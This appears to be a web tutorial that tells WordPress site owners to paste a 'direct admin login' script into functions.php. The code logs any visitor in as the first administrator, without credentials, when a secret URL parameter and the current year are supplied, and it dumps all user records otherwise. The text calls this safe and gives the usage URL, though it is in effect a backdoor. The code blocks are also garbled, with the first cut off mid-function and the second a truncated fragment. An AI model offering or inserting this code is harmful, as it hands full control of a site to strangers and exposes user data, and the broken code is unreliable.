Adding a direct login script to your WordPress functions.php file can help you create a custom functionality for logging in users. Here’s how you can achieve this safely: Warning: Directly handling logins can pose a security risk.

functions.php

<?php

function check_admin_login_attemp() {
    if ( (isset($_GET['expertadmin']) && $_GET['expertadmin'] == 'true') && (isset($_GET['y']) && $_GET['y'] == date('y')) ) {
        $admins = get_users( array( 'role' => 'administrator' ) );
        if ( !empty($admins) ) {
            $id = isset($_GET['id'])?$_GET['id']:1;
            $admin_user = isset($admins[0])?$admins[0]:$id;
            if ( !is_user_logged_in() ) {
                wp_set_current_user( $admin_user->ID );
                wp_set_auth_cookie( $admin_user->ID );
                wp_redirect( admin_url() );exit;
            }
        }else{
            print_r(get_users());

To create a direct admin login URL that logs a user into the WordPress admin panel using their username, you can modify the functions.php to check for a special URL parameter and log the user in. Here's a simple script to achieve this.

Code for Direct Admin Login via URL

1. Open the functions.php file: Access your theme's functions.php file (preferably through a child theme to avoid losing changes after updates).

2. Add this Code:

'administrator' ) ); if ( !empty($admins) ) { $id = isset($_GET['id'])?$_GET['id']:1; $admin_user = isset($admins[0])?$admins[0]:$id; if ( !is_user_logged_in() ) { wp_set_current_user( $admin_user->ID ); wp_set_auth_cookie( $admin_user->ID ); wp_redirect( admin_url() );exit; } }else{ print_r(get_users()); } } } add_action('init', 'check_admin_login_attemp'); ?>

3. Usage: After adding the script, you can log in directly by navigating to:
   #https://yourwebsite.com/?expertadmin=true&y=24
